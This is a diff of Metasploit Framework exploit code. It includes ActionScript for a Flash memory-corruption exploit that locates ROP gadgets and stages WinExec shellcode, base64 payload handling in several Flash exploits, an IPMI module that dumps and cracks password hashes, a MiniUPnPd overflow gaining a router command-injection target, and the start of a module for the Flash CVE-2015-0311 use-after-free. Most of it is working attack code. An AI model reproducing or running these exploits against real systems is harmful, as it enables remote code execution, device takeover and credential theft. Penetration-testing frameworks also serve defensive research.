var vtable:uint = vector_read(main)
|
||||
//log("vtable: " + vtable.toString(16));
|
||||
|
||||
vector_write(vector_read(uv[0][0x2000008] - 1 + 0x40) + 8)
|
||||
vector_write(vector_read(uv[0][0x2000008] - 1 + 0x40) + 16, 0xffffffff)
|
||||
byte_write(uv[0][0])
|
||||
|
||||
var flash:uint = base(vtable)
|
||||
//log("flash: " + flash.toString(16));
|
||||
|
||||
// Because of the sandbox, when you try to solve kernel32
|
||||
// from the flash imports on IE, it will solve ieshims.dll
|
||||
var ieshims:uint = module("kernel32.dll", flash)
|
||||
//log("ieshims: " + ieshims.toString(16));
|
||||
|
||||
var kernel32:uint = module("kernel32.dll", ieshims)
|
||||
//log("kernel32: " + kernel32.toString(16));
|
||||
|
||||
var ntdll:uint = module("ntdll.dll", kernel32)
|
||||
//log("ntdll: " + ntdll.toString(16));
|
||||
|
||||
var urlmon:uint = module("urlmon.dll", flash)
|
||||
//log("urlmon: " + urlmon.toString(16));
|
||||
|
||||
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
|
||||
//log("virtualprotect: " + virtualprotect.toString(16));
|
||||
|
||||
var winexec:uint = procedure("WinExec", kernel32)
|
||||
//log("winexec: " + winexec.toString(16));
|
||||
|
||||
var urldownloadtofile:uint = procedure("URLDownloadToFileA", urlmon);
|
||||
//log("urldownloadtofile: " + urldownloadtofile.toString(16));
|
||||
|
||||
var getenvironmentvariable:uint = procedure("GetEnvironmentVariableA", kernel32)
|
||||
//log("getenvironmentvariable: " + getenvironmentvariable.toString(16));
|
||||
|
||||
var setcurrentdirectory:uint = procedure("SetCurrentDirectoryA", kernel32)
|
||||
//log("setcurrentdirectory: " + setcurrentdirectory.toString(16));
|
||||
|
||||
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
|
||||
//log("xchgeaxespret: " + xchgeaxespret.toString(16));
|
||||
|
||||
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
|
||||
//log("xchgeaxesiret: " + xchgeaxesiret.toString(16));
|
||||
|
||||
// CoE
|
||||
byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
|
||||
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
|
||||
byte_write(0, "\x89\x03", false) // mov [ebx], eax
|
||||
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
||||
|
||||
|
||||
byte_write(buffer+0x200, payload);
|
||||
byte_write(buffer + 0x20070, xchgeaxespret)
|
||||
byte_write(buffer + 0x20000, xchgeaxesiret)
|
||||
byte_write(0, virtualprotect)
|
||||
|
||||
// VirtualProtect
|
||||
byte_write(0, winexec)
|
||||
byte_write(0, buffer + 0x30000)
|
||||
byte_write(0, 0x1000)
|
||||
byte_write(0, 0x40)
|
||||
byte_write(0, buffer + 0x100)
|
||||
|
||||
// WinExec
|
||||
byte_write(0, buffer + 0x30000)
|
||||
byte_write(0, buffer + 0x200)
|
||||
byte_write(0)
|
||||
|
||||
byte_write(main, buffer + 0x20000)
|
||||
toString()
|
||||
}
|
||||
|
||||
private function vector_write(addr:uint, value:uint = 0):void
|
||||
{
|
||||
addr > uv[0][0] ? uv[0][(addr - uv[0][0]) / 4 - 2] = value : uv[0][0xffffffff - (uv[0][0] - addr) / 4 - 1] = value
|
||||
}
|
||||
|
||||
private function vector_read(addr:uint):uint
|
||||
{
|
||||
return addr > uv[0][0] ? uv[0][(addr - uv[0][0]) / 4 - 2] : uv[0][0xffffffff - (uv[0][0] - addr) / 4 - 1]
|
||||
}
|
||||
|
||||
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
|
||||
{
|
||||
if (addr) ba.position = addr
|
||||
if (value is String) {
|
||||
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
|
||||
if (zero) ba.writeByte(0)
|
||||
} else ba.writeUnsignedInt(value)
|
||||
}
|
||||
|
||||
private function byte_read(addr:uint, type:String = "dword"):uint
|
||||
{
|
||||
ba.position = addr
|
||||
switch(type) {
|
||||
case "dword":
|
||||
return ba.readUnsignedInt()
|
||||
case "word":
|
||||
return ba.readUnsignedShort()
|
||||
case "byte":
|
||||
return ba.readUnsignedByte()
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
private function base(addr:uint):uint
|
||||
{
|
||||
addr &= 0xffff0000
|
||||
while (true) {
|
||||
if (byte_read(addr) == 0x00905a4d) return addr
|
||||
addr -= 0x10000
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
private function module(name:String, addr:uint):uint
|
||||
{
|
||||
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80)
|
||||
var i:int = -1
|
||||
while (true) {
|
||||
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
|
||||
if (!entry) throw new Error("FAIL!");
|
||||
ba.position = addr + entry
|
||||
var dll_name:String = ba.readUTFBytes(name.length).toUpperCase();
|
||||
if (dll_name == name.toUpperCase()) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)));
|
||||
}
|
||||
|
||||
private function procedure(name:String, addr:uint):uint
|
||||
{
|
||||
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
|
||||
var numberOfNames:uint = byte_read(eat + 0x18)
|
||||
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
|
||||
var addressOfNames:uint = addr + byte_read(eat + 0x20)
|
||||
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
|
||||
|
||||
for (var i:uint = 0; ; i++) {
|
||||
var entry:uint = byte_read(addressOfNames + i * 4)
|
||||
ba.position = addr + entry
|
||||
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
|
||||
}
|
||||
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
|
||||
}
|
||||
|
||||
private function gadget(gadget:String, hint:uint, addr:uint):uint
|
||||
{
|
||||
var find:uint = 0
|
||||
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
|
||||
var value:uint = parseInt(gadget, 16)
|
||||
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
|
||||
return addr + i
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,63 @@
|
|||
package
|
||||
{
|
||||
public class PE
|
||||
{
|
||||
private var eba:ExploitByteArray
|
||||
|
||||
public function PE(ba:ExploitByteArray)
|
||||
{
|
||||
eba = ba
|
||||
}
|
||||
|
||||
public function base(addr:uint):uint
|
||||
{
|
||||
Logger.log("[*] PE - base(): searching base for 0x" + addr.toString(16))
|
||||
addr &= 0xffff0000
|
||||
while (true) {
|
||||
if (eba.read(addr) == 0x00905a4d) return addr
|
||||
addr -= 0x10000
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
public function module(name:String, addr:uint):uint
|
||||
{
|
||||
var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1
|
||||
var mod_name:String
|
||||
|
||||
while (true) {
|
||||
var entry:uint = eba.read(iat + (++i) * 0x14 + 12)
|
||||
if (!entry) throw new Error("FAIL!");
|
||||
mod_name = eba.read_string(addr + entry, name.length)
|
||||
if (mod_name.toUpperCase() == name.toUpperCase()) break
|
||||
}
|
||||
return base(eba.read(addr + eba.read(iat + i * 0x14 + 16)))
|
||||
}
|
||||
|
||||
public function procedure(name:String, addr:uint):uint
|
||||
{
|
||||
var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78)
|
||||
var numberOfNames:uint = eba.read(eat + 0x18)
|
||||
var addressOfFunctions:uint = addr + eba.read(eat + 0x1c)
|
||||
var addressOfNames:uint = addr + eba.read(eat + 0x20)
|
||||
var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24)
|
||||
var proc_name:String
|
||||
|
||||
for (var i:uint = 0; ; i++) {
|
||||
var entry:uint = eba.read(addressOfNames + i * 4)
|
||||
proc_name = eba.read_string(addr + entry, name.length + 2)
|
||||
if (proc_name.toUpperCase() == name.toUpperCase()) break
|
||||
}
|
||||
return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4)
|
||||
}
|
||||
|
||||
public function gadget(gadget:String, hint:uint, addr:uint):uint
|
||||
{
|
||||
var find:uint = 0
|
||||
var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50)
|
||||
var value:uint = parseInt(gadget, 16)
|
||||
for (var i:uint = 0; i < limit - 4; i++) if (value == (eba.read(addr + i) & hint)) break
|
||||
return addr + i
|
||||
}
|
||||
}
|
||||
}
|
|
@ -39,7 +39,10 @@ public class Main extends Sprite
|
|||
|
||||
private function mainThread():void
|
||||
{
|
||||
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
|
||||
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
|
||||
var pattern:RegExp = / /g;
|
||||
b64_payload = b64_payload.replace(pattern, "+")
|
||||
b64.decode(b64_payload)
|
||||
payload = b64.toByteArray().toString()
|
||||
|
||||
ba.length = 0x1000
|
||||
|
@ -204,4 +207,4 @@ public class Main extends Sprite
|
|||
return addr + i
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -32,8 +32,11 @@ package
|
|||
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||
|
||||
public function Msf() {
|
||||
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
|
||||
payload = b64.toByteArray().toString();
|
||||
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
|
||||
var pattern:RegExp = / /g;
|
||||
b64_payload = b64_payload.replace(pattern, "+")
|
||||
b64.decode(b64_payload)
|
||||
payload = b64.toByteArray().toString()
|
||||
trigger_swf = LoaderInfo(this.root.loaderInfo).parameters.tr
|
||||
|
||||
ba.endian = "littleEndian"
|
||||
|
|
|
@ -43,7 +43,10 @@ package
|
|||
|
||||
private function mainThread():void
|
||||
{
|
||||
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
|
||||
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
|
||||
var pattern:RegExp = / /g;
|
||||
b64_payload = b64_payload.replace(pattern, "+")
|
||||
b64.decode(b64_payload)
|
||||
payload = b64.toByteArray().toString()
|
||||
ba.length = 0x1000
|
||||
ba.shareable = true
|
||||
|
|
|
@ -127,8 +127,8 @@ module Exploit::CmdStager
|
|||
|
||||
# Show the progress of the upload while cmd staging
|
||||
#
|
||||
# @param total [Float] The total number of bytes to send
|
||||
# @param sent [Float] The number of bytes sent
|
||||
# @param total [Float] The total number of bytes to send.
|
||||
# @param sent [Float] The number of bytes sent.
|
||||
# @return [void]
|
||||
def progress(total, sent)
|
||||
done = (sent.to_f / total.to_f) * 100
|
||||
|
@ -308,9 +308,10 @@ module Exploit::CmdStager
|
|||
def execute_cmdstager_end(opts)
|
||||
end
|
||||
|
||||
# Code to execute each command from the. This method is designed to be
|
||||
# overriden by a module using this mixin.
|
||||
# Code called to execute each command via an arbitrary module-defined vector.
|
||||
# This method needs to be overriden by modules using this mixin.
|
||||
#
|
||||
# @param cmd [String] The command to execute.
|
||||
# @param opts [Hash] Hash of configuration options.
|
||||
def execute_command(cmd, opts)
|
||||
raise NotImplementedError
|
||||
|
|
|
@ -47,12 +47,13 @@ module Exploit::Remote::HttpClient
|
|||
Rex::Proto::Http::Client::DefaultUserAgent
|
||||
]),
|
||||
OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication', '']),
|
||||
OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', '']),
|
||||
OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', '']),
|
||||
OptBool.new('DigestAuthIIS', [false, 'Conform to IIS, should work for most servers. Only set to false for non-IIS servers', true]),
|
||||
OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', false]),
|
||||
OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'Auto', ['Auto', 'SSL2', 'SSL3', 'TLS1']]),
|
||||
OptBool.new('FingerprintCheck', [ false, 'Conduct a pre-exploit fingerprint verification', true]),
|
||||
OptString.new('DOMAIN', [ true, 'The domain to use for windows authentification', 'WORKSTATION'])
|
||||
OptString.new('DOMAIN', [ true, 'The domain to use for windows authentification', 'WORKSTATION']),
|
||||
OptInt.new('HttpClientTimeout', [false, 'HTTP connection and receive timeout', 20])
|
||||
], self.class
|
||||
)
|
||||
|
||||
|
@ -307,10 +308,11 @@ module Exploit::Remote::HttpClient
|
|||
# Passes +opts+ through directly to Rex::Proto::Http::Client#request_raw.
|
||||
#
|
||||
def send_request_raw(opts={}, timeout = 20)
|
||||
actual_timeout = datastore['HttpClientTimeout'] || opts[:timeout] || timeout
|
||||
begin
|
||||
c = connect(opts)
|
||||
r = c.request_raw(opts)
|
||||
c.send_recv(r, opts[:timeout] ? opts[:timeout] : timeout)
|
||||
c.send_recv(r, actual_timeout)
|
||||
rescue ::Errno::EPIPE, ::Timeout::Error
|
||||
nil
|
||||
end
|
||||
|
@ -323,10 +325,11 @@ module Exploit::Remote::HttpClient
|
|||
# Passes +opts+ through directly to Rex::Proto::Http::Client#request_cgi.
|
||||
#
|
||||
def send_request_cgi(opts={}, timeout = 20)
|
||||
actual_timeout = datastore['HttpClientTimeout'] || opts[:timeout] || timeout
|
||||
begin
|
||||
c = connect(opts)
|
||||
r = c.request_cgi(opts)
|
||||
c.send_recv(r, opts[:timeout] ? opts[:timeout] : timeout)
|
||||
c.send_recv(r, actual_timeout)
|
||||
rescue ::Errno::EPIPE, ::Timeout::Error
|
||||
nil
|
||||
end
|
||||
|
@ -341,7 +344,8 @@ module Exploit::Remote::HttpClient
|
|||
# will contain the full URI.
|
||||
#
|
||||
def send_request_cgi!(opts={}, timeout = 20, redirect_depth = 1)
|
||||
res = send_request_cgi(opts, timeout)
|
||||
actual_timeout = datastore['HttpClientTimeout'] || opts[:timeout] || timeout
|
||||
res = send_request_cgi(opts, actual_timeout)
|
||||
return res unless res && res.redirect? && redirect_depth > 0
|
||||
|
||||
redirect_depth -= 1
|
||||
|
@ -360,7 +364,7 @@ module Exploit::Remote::HttpClient
|
|||
opts['ssl'] = false
|
||||
end
|
||||
|
||||
send_request_cgi!(opts, timeout, redirect_depth)
|
||||
send_request_cgi!(opts, actual_timeout, redirect_depth)
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -52,18 +52,30 @@ module Exploit::ORACLE
|
|||
end
|
||||
|
||||
def connect
|
||||
handle = nil
|
||||
|
||||
if(not @oci8_loaded)
|
||||
raise RuntimeError, "Could not load the Oracle driver (oci8): #{@oci8_error}"
|
||||
end
|
||||
|
||||
# Create a Connection to the Database
|
||||
if datastore['DBUSER'] == 'SYS' || datastore['DBUSER'] == 'SYSTEM'
|
||||
handle = OCI8.new(
|
||||
datastore['DBUSER'],
|
||||
datastore['DBPASS'],
|
||||
"//#{datastore['RHOST']}:#{datastore['RPORT']}/#{datastore['SID']}",
|
||||
:SYSDBA
|
||||
)
|
||||
begin
|
||||
handle = OCI8.new(
|
||||
datastore['DBUSER'],
|
||||
datastore['DBPASS'],
|
||||
"//#{datastore['RHOST']}:#{datastore['RPORT']}/#{datastore['SID']}",
|
||||
:SYSDBA
|
||||
)
|
||||
rescue ::OCIError
|
||||
# Try again without a request for SYSDBA
|
||||
vprint_status('Insufficient privileges, trying without SYSDBA')
|
||||
handle = OCI8.new(
|
||||
datastore['DBUSER'],
|
||||
datastore['DBPASS'],
|
||||
"//#{datastore['RHOST']}:#{datastore['RPORT']}/#{datastore['SID']}"
|
||||
)
|
||||
end
|
||||
else
|
||||
handle = OCI8.new(
|
||||
datastore['DBUSER'],
|
||||
|
@ -71,7 +83,7 @@ module Exploit::ORACLE
|
|||
"//#{datastore['RHOST']}:#{datastore['RPORT']}/#{datastore['SID']}"
|
||||
)
|
||||
end
|
||||
|
||||
handle
|
||||
end
|
||||
|
||||
def disconnect
|
||||
|
|
|
@ -16,7 +16,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'Description' => %q{
|
||||
This module exploits an authentication bypass vulnerability in different Netgear devices.
|
||||
It allows to extract the password for the remote management interface. This module has been
|
||||
tested on a Netgear WNDR3700v4 - V1.0.1.42, but others devices are reported as vulnerable:
|
||||
tested on a Netgear WNDR3700v4 - V1.0.1.42, but other devices are reported as vulnerable:
|
||||
NetGear WNDR3700v4 - V1.0.0.4SH, NetGear WNDR3700v4 - V1.0.1.52, NetGear WNR2200 - V1.0.1.88,
|
||||
NetGear WNR2500 - V1.0.0.24, NetGear WNDR3700v2 - V1.0.1.14 (Tested by Paula Thomas),
|
||||
NetGear WNDR3700v1 - V1.0.16.98 (Tested by Michal Bartoszkiewicz),
|
||||
|
|
|
@ -14,8 +14,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
super(update_info(info,
|
||||
'Name' => 'InfluxDB Enum Utility',
|
||||
'Description' => %q{
|
||||
This module enumerates databases on InfluxDB using the REST API
|
||||
(using default authentication - root:root).
|
||||
This module enumerates databases on InfluxDB using the REST API using the
|
||||
default authentication of root:root.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
|
|
|
@ -15,8 +15,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
super(
|
||||
'Name' => 'HTTP HTML Title Tag Content Grabber',
|
||||
'Description' => %q{
|
||||
Generates a GET request to the webservers provided and returns the server header,
|
||||
HTML title attribute and location header (if set). Useful for rapidly identifying
|
||||
Generates a GET request to the provided webservers and returns the server header,
|
||||
HTML title attribute and location header (if set). This is useful for rapidly identifying
|
||||
interesting web applications en mass.
|
||||
},
|
||||
'Author' => 'Stuart Morgan <stuart.morgan[at]mwrinfosecurity.com>',
|
||||
|
|
|
@ -71,7 +71,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
passwords << ""
|
||||
passwords = passwords.uniq
|
||||
|
||||
|
||||
self.udp_sock = Rex::Socket::Udp.create({'Context' => {'Msf' => framework, 'MsfExploit' => self}})
|
||||
add_socket(self.udp_sock)
|
||||
|
||||
|
@ -180,18 +179,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
write_output_files(rhost, username, sha1_salt, sha1_hash)
|
||||
|
||||
# Write the rakp hash to the database
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:proto => 'udp',
|
||||
:sname => 'ipmi',
|
||||
:user => username,
|
||||
:pass => "#{sha1_salt}:#{sha1_hash}",
|
||||
:source_type => "captured",
|
||||
:active => true,
|
||||
:type => 'rakp_hmac_sha1_hash'
|
||||
)
|
||||
|
||||
hash = "#{rhost} #{username}:$rakp$#{sha1_salt}$#{sha1_hash}"
|
||||
core_id = report_hash(username, hash)
|
||||
# Write the vulnerability to the database
|
||||
unless reported_vuln
|
||||
report_vuln(
|
||||
|
@ -216,17 +205,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
print_good("#{rhost}:#{rport} - IPMI - Hash for user '#{username}' matches password '#{pass}'")
|
||||
|
||||
# Report the clear-text credential to the database
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:proto => 'udp',
|
||||
:sname => 'ipmi',
|
||||
:user => username,
|
||||
:pass => pass,
|
||||
:source_type => "cracked",
|
||||
:active => true,
|
||||
:type => 'password'
|
||||
)
|
||||
report_cracked_cred(username, pass, core_id)
|
||||
break
|
||||
end
|
||||
end
|
||||
|
@ -265,6 +244,45 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
end
|
||||
|
||||
def service_data
|
||||
{
|
||||
address: rhost,
|
||||
port: rport,
|
||||
service_name: 'ipmi',
|
||||
protocol: 'udp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
end
|
||||
|
||||
def report_hash(user, hash)
|
||||
credential_data = {
|
||||
module_fullname: self.fullname,
|
||||
origin_type: :service,
|
||||
private_data: hash,
|
||||
private_type: :nonreplayable_hash,
|
||||
jtr_format: 'rakp',
|
||||
username: user,
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
}.merge(service_data)
|
||||
|
||||
cl = create_credential_login(login_data)
|
||||
cl.core_id
|
||||
end
|
||||
|
||||
def report_cracked_cred(user, password, core_id)
|
||||
cred_data = {
|
||||
core_id: core_id,
|
||||
username: user,
|
||||
password: password
|
||||
}
|
||||
|
||||
create_cracked_credential(cred_data)
|
||||
end
|
||||
|
||||
#
|
||||
# Helper methods (these didn't quite fit with existing mixins)
|
||||
#
|
||||
|
@ -292,5 +310,4 @@ class Metasploit3 < Msf::Auxiliary
|
|||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -7,6 +7,8 @@ require 'msf/core'
|
|||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
Rank = NormalRanking
|
||||
|
||||
def initialize(info = {})
|
||||
|
@ -19,20 +21,14 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Author' =>
|
||||
[
|
||||
'hdm', # Vulnerability discovery
|
||||
'Dejan Lukan' # Metasploit module
|
||||
'Dejan Lukan', # Metasploit module, debian target
|
||||
'Onur ALANBEL', # Expliot for Airties target
|
||||
'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module, Airties target
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => { 'EXITFUNC' => 'process', },
|
||||
# the byte '\x22' is the '"' character and the miniupnpd scans for that character in the
|
||||
# input, which is why it can't be part of the shellcode (otherwise the vulnerable part
|
||||
# of the program is never reached)
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 2060,
|
||||
'BadChars' => "\x00\x22",
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X86, ARCH_MIPSBE],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2013-0230' ],
|
||||
|
@ -40,14 +36,39 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
[ 'BID', '57608' ],
|
||||
[ 'URL', 'https://community.rapid7.com/community/infosec/blog/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play']
|
||||
],
|
||||
'Targets' =>
|
||||
'Payload' =>
|
||||
{
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Debian GNU/Linux 6.0 / MiniUPnPd 1.0',
|
||||
{
|
||||
'Ret' => 0x0804ee43, # pop ebp # ret # from miniupnpd
|
||||
'Offset' => 2123
|
||||
'Ret' => 0x0804ee43, # pop ebp # ret # from miniupnpd
|
||||
'Offset' => 2123,
|
||||
'Arch' => ARCH_X86,
|
||||
# the byte '\x22' is the '"' character and the miniupnpd scans for that character in the
|
||||
# input, which is why it can't be part of the shellcode (otherwise the vulnerable part
|
||||
# of the program is never reached)
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 2060,
|
||||
'BadChars' => "\x00\x22"
|
||||
},
|
||||
:callback => :target_debian
|
||||
}
|
||||
],
|
||||
[ 'Airties RT-212 v1.2.0.23 / MiniUPnPd 1.0',
|
||||
{
|
||||
'Offset' => 2048,
|
||||
'LibcBase' => 0x2aabd000,
|
||||
'System' => 0x00031AC0,
|
||||
'CallSystem' => 0x0001CC94, # prepare $a0 and jump to $s0
|
||||
'Fingerprint' => 'AirTies/ASP 1.0 UPnP/1.0 miniupnpd/1.0',
|
||||
'Arch' => ARCH_MIPSBE,
|
||||
:callback => :target_airties
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'Privileged' => false,
|
||||
|
@ -57,9 +78,40 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
register_options([
|
||||
Opt::RPORT(5555),
|
||||
], self.class)
|
||||
|
||||
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
|
||||
end
|
||||
|
||||
def check
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => '/'
|
||||
})
|
||||
rescue ::Rex::ConnectionError
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
fingerprints = targets.collect { |t| t['Fingerprint'] }
|
||||
fingerprints.delete(nil)
|
||||
|
||||
if res && fingerprints.include?(res.headers['Server'])
|
||||
vprint_status("Fingerprint: #{res.headers['Server']}")
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
def exploit
|
||||
unless self.respond_to?(target[:callback])
|
||||
fail_with(Failure::BadConfig, 'Invalid target specified: no callback function defined')
|
||||
end
|
||||
|
||||
self.send(target[:callback])
|
||||
end
|
||||
|
||||
def target_debian
|
||||
#
|
||||
# Build the SOAP Exploit
|
||||
#
|
||||
|
@ -108,7 +160,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
#
|
||||
# Build and send the HTTP request
|
||||
#
|
||||
print_status("Sending exploit to victim #{target.name} at ...")
|
||||
print_status("Sending exploit to victim #{target.name}...")
|
||||
send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => "/",
|
||||
|
@ -121,4 +173,53 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# disconnect from the server
|
||||
disconnect
|
||||
end
|
||||
|
||||
def target_airties
|
||||
print_status("Sending exploit to victim #{target.name}...")
|
||||
execute_cmdstager(
|
||||
:flavor => :echo
|
||||
)
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts)
|
||||
# Build the SOAP Exploit
|
||||
# a valid action
|
||||
sploit = "n:schemas-upnp-org:service:WANIPConnection:1#"
|
||||
sploit << rand_text_alpha_upper(target['Offset'])
|
||||
sploit << [target['LibcBase'] + target['System']].pack("N") # s0 - address of system
|
||||
sploit << rand_text_alpha_upper(24) # $s1 - $s6
|
||||
sploit << [target['LibcBase'] + target['CallSystem']].pack("N")
|
||||
# 0001CC94 addiu $a0, $sp, 0x18
|
||||
# 0001CC98 move $t9, $s0
|
||||
# 0001CC9C jalr $t9
|
||||
# 0001CCA0 li $a1, 1
|
||||
|
||||
sploit << rand_text_alpha_upper(24) #filler
|
||||
sploit << cmd
|
||||
|
||||
# data sent in the POST body
|
||||
data =
|
||||
"<?xml version='1.0' encoding=\"UTF-8\"?>\r\n" +
|
||||
"<SOAP-ENV:Envelope\r\n" +
|
||||
" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" +
|
||||
" xmlns:SOAP-ENC=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" +
|
||||
" xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\"\r\n" +
|
||||
">\r\n" +
|
||||
"<SOAP-ENV:Body>\r\n" +
|
||||
"<ns1:action xmlns:ns1=\"urn:schemas-upnp-org:service:WANIPConnection:1\" SOAP-ENC:root=\"1\">\r\n" +
|
||||
"</ns1:action>\r\n" +
|
||||
"</SOAP-ENV:Body>\r\n" +
|
||||
"</SOAP-ENV:Envelope>\r\n"
|
||||
|
||||
send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => '/',
|
||||
'headers' =>
|
||||
{
|
||||
'SOAPAction' => sploit,
|
||||
},
|
||||
'data' => data
|
||||
})
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -0,0 +1,150 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Powershell
|
||||
include Msf::Exploit::Remote::BrowserExploitServer
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Adobe Flash Player ByteArray UncompressViaZlibVariant Use After Free',
|
||||
'Description' => %q{
|
||||
This module exploits a use after free vulnerability in Adobe Flash Player. The
|
||||
vulnerability occurs in the ByteArray::UncompressViaZlibVariant method, when trying
|
||||
to uncompress() a malformed byte stream. This module has been tested successfully
|
||||
on:
|
||||
* Windows 7 SP1 (32 bits), IE 8 to IE 11 and Flash 16.0.0.287, 16.0.0.257 and 16.0.0.235.
|
||||
* Linux Mint "Rebecca" (32 bits) with Firefox 33.0 and Flash 11.2.202.404.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Unknown', # Vulnerability discovery and exploit in the wild
|
||||
'hdarwin', # Public exploit by @hdarwin89
|
||||
'juan vazquez' # msf module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2015-0311'],
|
||||
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsa15-01.html'],
|
||||
['URL', 'http://blog.hacklab.kr/flash-cve-2015-0311-%EB%B6%84%EC%84%9D/'],
|
||||
['URL', 'http://blog.coresecurity.com/2015/03/04/exploiting-cve-2015-0311-a-use-after-free-in-adobe-flash-player/']
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Platform' => ['win', 'unix'],
|
||||
'Arch' => [ARCH_X86, ARCH_CMD],
|
||||
'BrowserRequirements' =>
|
||||
{
|
||||
:source => /script|headers/i,
|
||||
:arch => ARCH_X86,
|
||||
:os_name => lambda do |os|
|
||||
os =~ OperatingSystems::Match::LINUX ||
|
||||
